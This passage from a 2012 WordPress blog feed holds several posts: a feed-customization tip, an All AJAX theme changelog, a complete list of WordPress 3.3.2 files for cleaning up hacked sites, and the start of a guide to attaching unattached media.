<p>This technique works out of the box to add some custom content (or whatever) to the first feed item, and is extendible to target subsequent posts as well. Feel free to customize the output to be anything that makes sense. <strong>Note:</strong> as-is, the custom content is added to the <em>beginning</em> of the first post. To add content instead to the <em>end</em> of the first post, switch the order of the first <code>return</code>, like so:</p>
<p><code>return $content . '&lt;p&gt;Put some custom content here!&lt;/p&gt;';</code></p>
<p>Incidentally, I use this technique in my new <a href="http://perishablepress.com/simple-feed-stats/" title="WordPress Plugin: Simple Feed Stats">feed-tracking plugin</a> to add a custom-tracking image &mdash; works a treat!</p>
<h3 id="conclusion">Conclusion</h3>
<p>We hope this article helps people in customizing their own WordPress feeds. The take-home message is that WordPress provides a wealth of possibilities when it comes to creating, formatting, and customizing your feeds. So be original, and have some fun :)</p>
<hr />
<p><small>© 2012 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2012/10/customizing-wordpress-feeds/">Permalink</a> | <a href="http://digwp.com/2012/10/customizing-wordpress-feeds/#comments">6 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2012/10/customizing-wordpress-feeds/&title=Customizing WordPress Feeds">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/feeds/" rel="tag">feeds</a>, <a href="http://digwp.com/tag/functions/" rel="tag">functions</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2012/10/customizing-wordpress-feeds/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>All-AJAX Theme Update</title>
		<link>http://digwp.com/2012/10/all-ajax-theme-update-v2/</link>
		<comments>http://digwp.com/2012/10/all-ajax-theme-update-v2/#comments</comments>
		<pubDate>Tue, 02 Oct 2012 20:27:11 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Theme]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[book]]></category>
		<category><![CDATA[updates]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=6446</guid>
		<description><![CDATA[Just a heads up! Chris&#8217; awesome All AJAX theme is now updated to version 2.0, featuring a whole slew of improvements: Updated to use jQuery 1.7.2 Added missing ajax-loader.gif file Updated enqueue-script function Added tags display to single post-views Added support for oEmbed media embedding Added readme.txt to theme directory Updated some template tags such [...]]]></description>
				<content:encoded><![CDATA[<p>Just a heads up! Chris&#8217; awesome <a href="http://digwp.com/2010/11/all-ajax-theme-update/" title="ALL AJAX Theme Update">All AJAX</a> theme is now updated to <strong>version 2.0</strong>, featuring a whole slew of improvements:</p>
<p><span id="more-6446"></span></p>
<ul>
<li>Updated to use jQuery 1.7.2</li>
<li>Added missing <code>ajax-loader.gif</code> file</li>
<li>Updated enqueue-script function</li>
<li>Added tags display to single post-views</li>
<li>Added support for oEmbed media embedding</li>
<li>Added readme.txt to theme directory</li>
<li>Updated some template tags such as <code>bloginfo(url)</code></li>
<li>Fixed search results for queries with multiple terms</li>
<li>Replaced hard-coded comment form with <code>comment_form()</code> in comments.php</li>
<li>Changed <code>get_settings()</code> to <code>get_option()</code> throughout theme</li>
<li>Added <code>&lt;?php wp_link_pages(); ?&gt;</code> to single.php</li>
<li>Removed some redundant code in footer.php</li>
<li>Defined <code>$content_width</code> variable in functions.php</li>
<li>Added licensing, version, tags, info to style.css</li>
<li>Replaced screenshot.png for version 2</li>
<li>Cleaned up code, markup, etc.</li>
</ul>
<p>Plus lots of other details to help improve the plugin based on requests and feedback from users of the theme. I also used the excellent <a href="http://wordpress.org/extend/plugins/theme-check/">Theme-Check plugin</a> as well as WP&#8217;s built-in <a href="http://codex.wordpress.org/Debugging_in_WordPress" title="Debugging in WordPress">debugging feature</a> to help find ways to further improve the already awesome theme. For more info, see the readme.txt file or check out the following links:</p>
<ul>
<li>Read more about the <a href="http://digwp.com/2010/11/all-ajax-theme-update/" title="ALL AJAX Theme Update">All AJAX theme</a></li>
<li>Try the <a href="http://themeclubhouse.digwp.com/index.php?wptheme=All%20AJAX" title="Try the All AJAX theme DEMO">All AJAX DEMO</a></li>
</ul>
<p><strong>Screenshot</strong></p>
<p><img src="http://digwp.com/wp-content/uploads/2012/10/All-AJAX-screenshot.gif" alt="[ Screenshot: All AJAX theme ]" /></p>
<h3>How to get it</h3>
<p>The All AJAX theme is one of our exclusive themes and is included with any book purchase. For those of you who already own the book, visit the Member&#8217;s Area to download All AJAX version 2 at your convenience. To get the book, themes, and all of the extras, visit the <a href="http://digwp.com/book/">DigWP Book Store</a>. Thank you!</p>
<hr />
<p><small>© 2012 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2012/10/all-ajax-theme-update-v2/">Permalink</a> | <a href="http://digwp.com/2012/10/all-ajax-theme-update-v2/#comments">13 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2012/10/all-ajax-theme-update-v2/&title=All-AJAX Theme Update">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/ajax/" rel="tag">ajax</a>, <a href="http://digwp.com/tag/book/" rel="tag">book</a>, <a href="http://digwp.com/tag/updates/" rel="tag">updates</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2012/10/all-ajax-theme-update-v2/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Complete List of Default WordPress Files</title>
		<link>http://digwp.com/2012/05/complete-list-wordpress-files/</link>
		<comments>http://digwp.com/2012/05/complete-list-wordpress-files/#comments</comments>
		<pubDate>Thu, 03 May 2012 19:34:12 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[files]]></category>
		<category><![CDATA[reference]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=6035</guid>
		<description><![CDATA[When cleaning up hacked sites and testing .htaccess tricks, it&#8217;s nice to have a list of WordPress directory and file names for checking patterns and finding strings directly via Search/Find. Especially when working remotely, having a complete list of WordPress files available online can help expedite the attack-recovery process. The official Codex page lists some [...]]]></description>
				<content:encoded><![CDATA[<p>When cleaning up hacked sites and testing <a href="http://perishablepress.com/category/web-design/htaccess/" title=".htaccess archive @ Perishable Press">.htaccess tricks</a>, it&#8217;s nice to have a list of WordPress directory and file names for checking patterns and finding strings directly via Search/Find. Especially when working remotely, having a <strong>complete list of WordPress files</strong> available online can help expedite the attack-recovery process.</p>
<p><span id="more-6035"></span></p>
<p>The official <a href="http://codex.wordpress.org/WordPress_Files" title="Codex: WordPress Files">Codex page</a> lists <em>some</em> important files, but only for <abbr title="WordPress">WP</abbr> version 2.x and doesn&#8217;t seem to list files located in all sub-directories. Sure it&#8217;s not the most exciting topic in the world, but it&#8217;s always good practice to <em>know thy files</em>. You get to see the bigger picture and gain a better understanding of how <em>much</em> stuff actually is included in WordPress &mdash; <em>especially</em> if you start digging around in the <code>/wp-includes/</code> directory.. bring a snack, knife, and some flint to improve your chances.</p>
<p>We&#8217;re looking at default download/unzip of <strong>WordPress version 3.3.2</strong> &mdash; a complete list of all files in all directories in alphabetical order. Here&#8217;s the roadmap:</p>
<ul>
<li><a href="#wp-structure">directory structure (without files)</a></li>
<li><a href="#wp-root">WordPress root-level files</a></li>
<li><a href="#wp-admin">files in the <code>/wp-admin/</code> directory</a></li>
<li><a href="#wp-content">files in the <code>/wp-content/</code> directory</a></li>
<li><a href="#wp-includes">files in the <code>/wp-includes/</code> directory</a></li>
</ul>
<h3 id="wp-structure">Basic WordPress directory structure</h3>
<pre><code>/wordpress/

	/wp-admin/
		/css/
		/images/
		/includes/
		/js/
		/maint/
		/network/
		/user/

	/wp-content/
		/plugins/
			/akismet/
		/themes/
			/twentyeleven/
				/colors/
				/images/
				/inc/
					/images/
				/js/
				/languages/
			/twentyten/
				/images/
					/headers/
				/languages/
	
	/wp-includes/
		/Text/
		/css/
		/images/
			/crystal/
			/smilies/
			/wlw/
		/js/
			/crop/
			/imgareaselect/
			/jcrop/
			/jquery/
				/ui/
			/plupload/
			/scriptaculous/
			/swfupload/
				/plugins/
			/thickbox/
			/tinymce/
				/langs/
				/plugins/
					/directionality/
					/fullscreen/
					/inlinepopups/
						/skins/
							/clearlooks2/
								/img/
					/media/
						/css/
						/js/
					/paste/
						/js/
					/spellchecker/
						/classes/
							/utils/
						/css/
						/img/
						/includes/
					/tabfocus/
					/wordpress/
						/css/
						/img/
					/wpdialogs/
						/js/
					/wpeditimage/
						/css/
						/img/
						/js/
					/wpfullscreen/
					/wpgallery/
						/img/
					/wplink/
				/themes/
					/advanced/
						/img/
						/js/
						/skins/
							/default/
								/img/
							/highcontrast/
							/o2k7/
								/img/
							/wp_theme/
								/img/
				/utils/
		/pomo/
		/theme-compat/</code></pre>
<h3 id="wp-root">Root-level WordPress files</h3>
<pre><code>/wordpress/
	index.php
	license.txt
	readme.html
	wp-activate.php
	wp-app.php
	wp-blog-header.php
	wp-comments-post.php
	wp-config-sample.php
	wp-cron.php
	wp-links-opml.php
	wp-load.php
	wp-login.php
	wp-mail.php
	wp-pass.php
	wp-register.php
	wp-settings.php
	wp-signup.php
	wp-trackback.php
	xmlrpc.php</code></pre>
<h3 id="wp-admin">Files in the /wp-admin/ directory</h3>
<pre><code>/wp-admin/
	about.php
	admin-ajax.php
	admin-footer.php
	admin-functions.php
	admin-header.php
	admin-post.php
	admin.php
	async-upload.php
	comment.php
	credits.php
	/css/
		colors-classic.css
		colors-classic.dev.css
		colors-fresh.css
		colors-fresh.dev.css
		farbtastic.css
		file-list.txt
		ie-rtl.css
		ie-rtl.dev.css
		ie.css
		ie.dev.css
		install.css
		install.dev.css
		media-rtl.css
		media-rtl.dev.css
		media.css
		media.dev.css
		wp-admin-rtl.css
		wp-admin-rtl.dev.css
		wp-admin.css
		wp-admin.dev.css
	custom-background.php
	custom-header.php
	edit-comments.php
	edit-form-advanced.php
	edit-form-comment.php
	edit-link-form.php
	edit-tag-form.php
	edit-tags.php
	edit.php
	export.php
	freedoms.php
	gears-manifest.php
	/images/
		align-center.png
		align-left.png
		align-none.png
		align-right.png
		archive-link.png
		arrows-dark-vs.png
		arrows-dark.png
		arrows-vs.png
		arrows.png
		blue-grad.png
		bubble_bg-rtl.gif
		bubble_bg.gif
		button-grad-active.png
		button-grad.png
		comment-grey-bubble.png
		date-button.gif
		ed-bg-vs.gif
		ed-bg.gif
		fade-butt.png
		fav-arrow-rtl.gif
		fav-arrow.gif
		fav-vs.png
		fav.png
		generic.png
		gray-grad.png
		gray-star.png
		icons32-vs.png
		icons32.png
		imgedit-icons.png
		list.png
		loading-publish.gif
		loading.gif
		logo-ghost.png
		logo-login.png
		logo.gif
		marker.png
		mask.png
		media-button-image.gif
		media-button-music.gif
		media-button-other.gif
		media-button-video.gif
		media-button.png
		menu-arrow-frame-rtl.png
		menu-arrow-frame.png
		menu-arrows.gif
		menu-bits-rtl-vs.gif
		menu-bits-rtl.gif
		menu-bits-vs.gif
		menu-bits.gif
		menu-dark-rtl-vs.gif
		menu-dark-rtl.gif
		menu-dark-vs.gif
		menu-dark.gif
		menu-shadow-rtl.png
		menu-shadow.png
		menu-vs.png
		menu.png
		no.png
		press-this.png
		required.gif
		resize-rtl.gif
		resize.gif
		screen-options-toggle-vs.gif
		screen-options-toggle.gif
		screenshots
		se.png
		sort.gif
		star.png
		toggle-arrow-rtl.gif
		toggle-arrow.gif
		upload-classic.png
		upload-fresh.png
		wheel.png
		white-grad-active.png
		white-grad.png
		widgets-arrow-vs.gif
		widgets-arrow.gif
		wordpress-logo.png
		wp-badge.png
		wp-logo-vs.png
		wp-logo.png
		wpspin_dark.gif
		wpspin_light.gif
		xit.gif
		yes.png
	import.php
	/includes/
		admin.php
		bookmark.php
		class-ftp-pure.php
		class-ftp-sockets.php
		class-ftp.php
		class-pclzip.php
		class-wp-comments-list-table.php
		class-wp-filesystem-base.php
		class-wp-filesystem-direct.php
		class-wp-filesystem-ftpext.php
		class-wp-filesystem-ftpsockets.php
		class-wp-filesystem-ssh2.php
		class-wp-importer.php
		class-wp-links-list-table.php
		class-wp-list-table.php
		class-wp-media-list-table.php
		class-wp-ms-sites-list-table.php
		class-wp-ms-themes-list-table.php
		class-wp-ms-users-list-table.php
		class-wp-plugin-install-list-table.php
		class-wp-plugins-list-table.php
		class-wp-posts-list-table.php
		class-wp-terms-list-table.php
		class-wp-theme-install-list-table.php
		class-wp-themes-list-table.php
		class-wp-upgrader.php
		class-wp-users-list-table.php
		comment.php
		continents-cities.php
		dashboard.php
		deprecated.php
		export.php
		file.php
		image-edit.php
		image.php
		import.php
		list-table.php
		manifest.php
		media.php
		menu.php
		meta-boxes.php
		misc.php
		ms-deprecated.php
		ms.php
		nav-menu.php
		plugin-install.php
		plugin.php
		post.php
		schema.php
		screen.php
		taxonomy.php
		template.php
		theme-install.php
		theme.php
		update-core.php
		update.php
		upgrade.php
		user.php
		widgets.php
	index-extra.php
	index.php
	install-helper.php
	install.php
	/js/
		cat.dev.js
		cat.js
		categories.dev.js
		categories.js
		comment.dev.js
		comment.js
		common.dev.js
		common.js
		custom-background.dev.js
		custom-background.js
		custom-fields.dev.js
		custom-fields.js
		dashboard.dev.js
		dashboard.js
		edit-comments.dev.js
		edit-comments.js
		editor.dev.js
		editor.js
		farbtastic.js
		gallery.dev.js
		gallery.js
		image-edit.dev.js
		image-edit.js
		inline-edit-post.dev.js
		inline-edit-post.js
		inline-edit-tax.dev.js
		inline-edit-tax.js
		link.dev.js
		link.js
		media-upload.dev.js
		media-upload.js
		media.dev.js
		media.js
		nav-menu.dev.js
		nav-menu.js
		password-strength-meter.dev.js
		password-strength-meter.js
		plugin-install.dev.js
		plugin-install.js
		post.dev.js
		post.js
		postbox.dev.js
		postbox.js
		revisions-js.php
		set-post-thumbnail.dev.js
		set-post-thumbnail.js
		tags.dev.js
		tags.js
		theme-preview.dev.js
		theme-preview.js
		theme.dev.js
		theme.js
		user-profile.dev.js
		user-profile.js
		utils.dev.js
		utils.js
		widgets.dev.js
		widgets.js
		word-count.dev.js
		word-count.js
		wp-fullscreen.dev.js
		wp-fullscreen.js
		xfn.dev.js
		xfn.js
	link-add.php
	link-manager.php
	link-parse-opml.php
	link.php
	load-scripts.php
	load-styles.php
	/maint/
		repair.php
	media-new.php
	media-upload.php
	media.php
	menu-header.php
	menu.php
	moderation.php
	ms-admin.php
	ms-delete-site.php
	ms-edit.php
	ms-options.php
	ms-sites.php
	ms-themes.php
	ms-upgrade-network.php
	ms-users.php
	my-sites.php
	nav-menus.php
	/network/
		admin.php
		edit.php
		index-extra.php
		index.php
		menu.php
		plugin-editor.php
		plugin-install.php
		plugins.php
		profile.php
		settings.php
		setup.php
		site-info.php
		site-new.php
		site-settings.php
		site-themes.php
		site-users.php
		sites.php
		theme-editor.php
		theme-install.php
		themes.php
		update-core.php
		update.php
		upgrade.php
		user-edit.php
		user-new.php
		users.php
	network.php
	options-discussion.php
	options-general.php
	options-head.php
	options-media.php
	options-permalink.php
	options-privacy.php
	options-reading.php
	options-writing.php
	options.php
	plugin-editor.php
	plugin-install.php
	plugins.php
	post-new.php
	post.php
	press-this.php
	profile.php
	revision.php
	setup-config.php
	theme-editor.php
	theme-install.php
	themes.php
	tools.php
	update-core.php
	update.php
	upgrade-functions.php
	upgrade.php
	upload.php
	/user/
		admin.php
		index-extra.php
		index.php
		menu.php
		profile.php
		user-edit.php
	user-edit.php
	user-new.php
	users.php
	widgets.php</code></pre>
<h3 id="wp-content">Files in the /wp-content/ directory</h3>
<pre><code>/wp-content/
	index.php
	/plugins/
		/akismet/
			admin.php
			akismet.css
			akismet.gif
			akismet.js
			akismet.php
			legacy.php
			readme.txt
			widget.php
		hello.php
		index.php
	/themes/
		index.php
		/twentyeleven/
			404.php
			archive.php
			author.php
			category.php
			/colors/
				dark.css
			comments.php
			content-aside.php
			content-featured.php
			content-gallery.php
			content-image.php
			content-intro.php
			content-link.php
			content-page.php
			content-quote.php
			content-single.php
			content-status.php
			content.php
			editor-style-rtl.css
			editor-style.css
			footer.php
			functions.php
			header.php
			image.php
			/images/
				comment-arrow-bypostauthor-dark-rtl.png
				comment-arrow-bypostauthor-dark.png
				comment-arrow-bypostauthor-rtl.png
				comment-arrow-bypostauthor.png
				comment-arrow-dark-rtl.png
				comment-arrow-dark.png
				comment-arrow-rtl.png
				comment-arrow.png
				comment-bubble-dark-rtl.png
				comment-bubble-dark.png
				comment-bubble-rtl.png
				comment-bubble.png
				headers
				search.png
				wordpress.png
			/inc/
				/images/
					content-sidebar.png
					content.png
					dark.png
					light.png
					sidebar-content.png
				theme-options.css
				theme-options.js
				theme-options.php
				widgets.php
			index.php
			/js/
				html5.js
				showcase.js
			/languages/
				twentyeleven.pot
			license.txt
			page.php
			readme.txt
			rtl.css
			screenshot.png
			search.php
			searchform.php
			showcase.php
			sidebar-footer.php
			sidebar-page.php
			sidebar.php
			single.php
			style.css
			tag.php
		/twentyten/
			404.php
			archive.php
			attachment.php
			author.php
			category.php
			comments.php
			editor-style-rtl.css
			editor-style.css
			footer.php
			functions.php
			header.php
			/images/
				/headers/
					berries-thumbnail.jpg
					berries.jpg
					cherryblossoms-thumbnail.jpg
					cherryblossoms.jpg
					concave-thumbnail.jpg
					concave.jpg
					fern-thumbnail.jpg
					fern.jpg
					forestfloor-thumbnail.jpg
					forestfloor.jpg
					inkwell-thumbnail.jpg
					inkwell.jpg
					path-thumbnail.jpg
					path.jpg
					sunset-thumbnail.jpg
					sunset.jpg
				wordpress.png
			index.php
			/languages/
				twentyten.pot
			license.txt
			loop-attachment.php
			loop-page.php
			loop-single.php
			loop.php
			onecolumn-page.php
			page.php
			rtl.css
			screenshot.png
			search.php
			sidebar-footer.php
			sidebar.php
			single.php
			style.css
			tag.php</code></pre>
<h3 id="wp-includes">Files in the /wp-includes/ directory</h3>
<pre><code>/wp-includes/
	/Text/
		Diff
		Diff.php
	admin-bar.php
	atomlib.php
	author-template.php
	bookmark-template.php
	bookmark.php
	cache.php
	canonical.php
	capabilities.php
	category-template.php
	category.php
	class-IXR.php
	class-feed.php
	class-http.php
	class-json.php
	class-oembed.php
	class-phpass.php
	class-phpmailer.php
	class-pop3.php
	class-simplepie.php
	class-smtp.php
	class-snoopy.php
	class-wp-admin-bar.php
	class-wp-ajax-response.php
	class-wp-editor.php
	class-wp-error.php
	class-wp-http-ixr-client.php
	class-wp-walker.php
	class-wp-xmlrpc-server.php
	class-wp.php
	class.wp-dependencies.php
	class.wp-scripts.php
	class.wp-styles.php
	comment-template.php
	comment.php
	compat.php
	cron.php
	/css/
		admin-bar-rtl.css
		admin-bar-rtl.dev.css
		admin-bar.css
		admin-bar.dev.css
		editor-buttons.css
		editor-buttons.dev.css
		jquery-ui-dialog.css
		jquery-ui-dialog.dev.css
		wp-pointer.css
		wp-pointer.dev.css
	default-constants.php
	default-filters.php
	default-widgets.php
	deprecated.php
	feed-atom-comments.php
	feed-atom.php
	feed-rdf.php
	feed-rss.php
	feed-rss2-comments.php
	feed-rss2.php
	feed.php
	formatting.php
	functions.php
	functions.wp-scripts.php
	functions.wp-styles.php
	general-template.php
	http.php
	/images/
		admin-bar-sprite.png
		arrow-pointer-blue.png
		blank.gif
		/crystal/
			archive.png
			audio.png
			code.png
			default.png
			document.png
			interactive.png
			license.txt
			spreadsheet.png
			text.png
			video.png
		down_arrow.gif
		icon-pointer-flag.png
		rss.png
		/smilies/
			icon_arrow.gif
			icon_biggrin.gif
			icon_confused.gif
			icon_cool.gif
			icon_cry.gif
			icon_eek.gif
			icon_evil.gif
			icon_exclaim.gif
			icon_idea.gif
			icon_lol.gif
			icon_mad.gif
			icon_mrgreen.gif
			icon_neutral.gif
			icon_question.gif
			icon_razz.gif
			icon_redface.gif
			icon_rolleyes.gif
			icon_sad.gif
			icon_smile.gif
			icon_surprised.gif
			icon_twisted.gif
			icon_wink.gif
		toggle-arrow.png
		upload.png
		/wlw/
			wp-comments.png
			wp-icon.png
			wp-watermark.png
		wpicons.png
		wpmini-blue.png
		xit.gif
	/js/
		admin-bar.dev.js
		admin-bar.js
		autosave.dev.js
		autosave.js
		colorpicker.dev.js
		colorpicker.js
		comment-reply.dev.js
		comment-reply.js
		/crop/
			cropper.css
			cropper.js
			marqueeHoriz.gif
			marqueeVert.gif
		hoverIntent.dev.js
		hoverIntent.js
		/imgareaselect/
			border-anim-h.gif
			border-anim-v.gif
			imgareaselect.css
			jquery.imgareaselect.dev.js
			jquery.imgareaselect.js
		/jcrop/
			Jcrop.gif
			jquery.Jcrop.css
			jquery.Jcrop.dev.js
			jquery.Jcrop.js
		/jquery/
			jquery.color.dev.js
			jquery.color.js
			jquery.form.dev.js
			jquery.form.js
			jquery.hotkeys.dev.js
			jquery.hotkeys.js
			jquery.js
			jquery.query.js
			jquery.schedule.js
			jquery.serialize-object.js
			jquery.table-hotkeys.dev.js
			jquery.table-hotkeys.js
			suggest.dev.js
			suggest.js
			/ui/
				jquery.effects.blind.min.js
				jquery.effects.bounce.min.js
				jquery.effects.clip.min.js
				jquery.effects.core.min.js
				jquery.effects.drop.min.js
				jquery.effects.explode.min.js
				jquery.effects.fade.min.js
				jquery.effects.fold.min.js
				jquery.effects.highlight.min.js
				jquery.effects.pulsate.min.js
				jquery.effects.scale.min.js
				jquery.effects.shake.min.js
				jquery.effects.slide.min.js
				jquery.effects.transfer.min.js
				jquery.ui.accordion.min.js
				jquery.ui.autocomplete.min.js
				jquery.ui.button.min.js
				jquery.ui.core.min.js
				jquery.ui.datepicker.min.js
				jquery.ui.dialog.min.js
				jquery.ui.draggable.min.js
				jquery.ui.droppable.min.js
				jquery.ui.mouse.min.js
				jquery.ui.position.min.js
				jquery.ui.progressbar.min.js
				jquery.ui.resizable.min.js
				jquery.ui.selectable.min.js
				jquery.ui.slider.min.js
				jquery.ui.sortable.min.js
				jquery.ui.tabs.min.js
				jquery.ui.widget.min.js
		json2.dev.js
		json2.js
		/plupload/
			changelog.txt
			handlers.dev.js
			handlers.js
			license.txt
			plupload.flash.js
			plupload.flash.swf
			plupload.html4.js
			plupload.html5.js
			plupload.js
			plupload.silverlight.js
			plupload.silverlight.xap
		prototype.js
		quicktags.dev.js
		quicktags.js
		/scriptaculous/
			MIT-LICENSE
			builder.js
			controls.js
			dragdrop.js
			effects.js
			scriptaculous.js
			slider.js
			sound.js
			unittest.js
			wp-scriptaculous.js
		swfobject.js
		/swfupload/
			handlers.dev.js
			handlers.js
			license.txt
			/plugins/
				swfupload.cookies.js
				swfupload.queue.js
				swfupload.speed.js
				swfupload.swfobject.js
			swfupload-all.js
			swfupload.js
			swfupload.swf
		/thickbox/
			loadingAnimation.gif
			macFFBgHack.png
			tb-close.png
			thickbox.css
			thickbox.js
		/tinymce/
			/langs/
				wp-langs-en.js
				wp-langs.php
			license.txt
			/plugins/
				/directionality/
					editor_plugin.js
				/fullscreen/
					editor_plugin.js
					fullscreen.htm
				/inlinepopups/
					editor_plugin.js
					/skins/
						/clearlooks2/
							/img/
								alert.gif
								button.gif
								buttons.gif
								confirm.gif
								corners.gif
								drag.gif
								horizontal.gif
								vertical.gif
							window.css
					template.htm
				/media/
					/css/
						media.css
					editor_plugin.js
					/js/
						embed.js
						media.js
					media.htm
					moxieplayer.swf
				/paste/
					blank.htm
					editor_plugin.js
					/js/
						pastetext.js
						pasteword.js
					pastetext.htm
					pasteword.htm
				/spellchecker/
					changelog.txt
					/classes/
						EnchantSpell.php
						GoogleSpell.php
						PSpell.php
						PSpellShell.php
						SpellChecker.php
						/utils/
							JSON.php
							Logger.php
					config.php
					/css/
						content.css
					editor_plugin.js
					/img/
						wline.gif
					/includes/
						general.php
					rpc.php
				/tabfocus/
					editor_plugin.js
				/wordpress/
					/css/
						content.css
					editor_plugin.dev.js
					editor_plugin.js
					/img/
						audio.gif
						embedded.png
						image.gif
						media.gif
						more_bug.gif
						page.gif
						page_bug.gif
						trans.gif
						video.gif
				/wpdialogs/
					editor_plugin.dev.js
					editor_plugin.js
					/js/
						popup.dev.js
						popup.js
						wpdialog.dev.js
						wpdialog.js
				/wpeditimage/
					/css/
						editimage-rtl.css
						editimage.css
					editimage.html
					editor_plugin.dev.js
					editor_plugin.js
					/img/
						delete.png
						image.png
					/js/
						editimage.dev.js
						editimage.js
				/wpfullscreen/
					editor_plugin.js
					fullscreen.htm
				/wpgallery/
					editor_plugin.dev.js
					editor_plugin.js
					/img/
						delete.png
						edit.png
						gallery.png
						t.gif
				/wplink/
					editor_plugin.dev.js
					editor_plugin.js
			/themes/
				/advanced/
					about.htm
					anchor.htm
					charmap.htm
					color_picker.htm
					editor_template.js
					image.htm
					/img/
						colorpicker.jpg
						flash.gif
						gotmoxie.png
						icons.gif
						iframe.gif
						pagebreak.gif
						quicktime.gif
						realmedia.gif
						shockwave.gif
						trans.gif
						video.gif
						windowsmedia.gif
					/js/
						about.js
						anchor.js
						charmap.js
						color_picker.js
						image.js
						link.js
						source_editor.js
					link.htm
					shortcuts.htm
					/skins/
						/default/
							content.css
							dialog.css
							/img/
								buttons.png
								items.gif
								menu_arrow.gif
								menu_check.gif
								progress.gif
								tabs.gif
							ui.css
						/highcontrast/
							content.css
							dialog.css
							ui.css
						/o2k7/
							content.css
							dialog.css
							/img/
								button_bg.png
								button_bg_black.png
								button_bg_silver.png
							ui.css
							ui_black.css
							ui_silver.css
						/wp_theme/
							content.css
							dialog.css
							/img/
								tabs.gif
							ui.css
					source_editor.htm
			tiny_mce.js
			tiny_mce_popup.js
			/utils/
				editable_selects.js
				form_utils.js
				mctabs.js
				validate.js
			wp-mce-help.php
			wp-tinymce.js.gz
			wp-tinymce.php
		tw-sack.dev.js
		tw-sack.js
		wp-ajax-response.dev.js
		wp-ajax-response.js
		wp-list-revisions.dev.js
		wp-list-revisions.js
		wp-lists.dev.js
		wp-lists.js
		wp-pointer.dev.js
		wp-pointer.js
		wplink.dev.js
		wplink.js
	kses.php
	l10n.php
	link-template.php
	load.php
	locale.php
	media.php
	meta.php
	ms-blogs.php
	ms-default-constants.php
	ms-default-filters.php
	ms-deprecated.php
	ms-files.php
	ms-functions.php
	ms-load.php
	ms-settings.php
	nav-menu-template.php
	nav-menu.php
	pluggable-deprecated.php
	pluggable.php
	plugin.php
	/pomo/
		entry.php
		mo.php
		po.php
		streams.php
		translations.php
	post-template.php
	post-thumbnail-template.php
	post.php
	query.php
	registration-functions.php
	registration.php
	rewrite.php
	rss-functions.php
	rss.php
	script-loader.php
	shortcodes.php
	taxonomy.php
	template-loader.php
	/theme-compat/
		comments-popup.php
		comments.php
		footer.php
		header.php
		sidebar.php
	theme.php
	update.php
	user.php
	vars.php
	version.php
	widgets.php
	wlwmanifest.xml
	wp-db.php
	wp-diff.php</code></pre>
<hr />
<p><small>© 2012 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2012/05/complete-list-wordpress-files/">Permalink</a> | <a href="http://digwp.com/2012/05/complete-list-wordpress-files/#comments">25 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2012/05/complete-list-wordpress-files/&title=Complete List of Default WordPress Files">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/files/" rel="tag">files</a>, <a href="http://digwp.com/tag/reference/" rel="tag">reference</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2012/05/complete-list-wordpress-files/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Attach Unattached Media Files</title>
		<link>http://digwp.com/2012/05/attach-unattached-media-files/</link>
		<comments>http://digwp.com/2012/05/attach-unattached-media-files/#comments</comments>
		<pubDate>Tue, 01 May 2012 16:24:29 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[attachments]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=5832</guid>
		<description><![CDATA[Attaching any unattached media files that you may have floating around is a good way to keep things organized and running smooth. Normally, when you&#8217;re working on a post in the Edit Post screen, you click the Upload/Insert button and use the nifty drag-n-drop media uploader to get &#8216;er done. When you upload your media [...]]]></description>
				<content:encoded><![CDATA[<p>Attaching any unattached media files that you may have floating around is a good way to keep things organized and running smooth. Normally, when you&#8217;re working on a post in the <strong>Edit Post</strong> screen, you click the <strong>Upload/Insert</strong> button and use the nifty drag-n-drop media uploader to get &#8216;er done. When you upload your media files in this manner, WordPress &#8220;knows&#8221; that you want to attach the file to that particular post. Super straightforward sure, but there are situations where WordPress <em>doesn&#8217;t know</em> which post to use. In this <abbr title="Digging into WordPress">DigWP</abbr> post, we walk through the process of finding unattached media files and attaching them to their respective posts.</p>
<p><span id="more-5832"></span></p>
<h3>Why media files may be &#8220;unattached&#8221;</h3>
<p>Basically, WordPress needs to know which post to attach the file to, so if that information isn&#8217;t available, the file&#8217;s status is set to &#8220;unattached&#8221;. For example, if you have a bunch of images attached to a post, and then delete the post, the images are still visible in the <strong>Media Library</strong> and still exist in the <code>/wp-content/uploads/</code> directory, but they will be <em>unattached</em> to any particular post.</p>
<p>Another reason why you might have unattached media files is because they were uploaded directly through the <strong>Media Library</strong> instead of through a specific post. Some WordPress users like to upload lots of images up-front, before creating any posts. Are there other ways that media files become unattached? Possibly, but ultimately it doesn&#8217;t matter because it&#8217;s relatively straightforward to locate all unattached files and attach them to specific posts. Well, it is once you know how to do it..</p>
<h3>How to find your unattached media files</h3>
<p>Eliminating and/or organizing rogue files of <em>any type</em> is good practice for running a tight ship, whether it be media files, theme files, or other project files laying around on the server. When it comes to cleaning up your media files, WordPress provides two easy ways of locating everything that&#8217;s not attached to a specific post.</p>
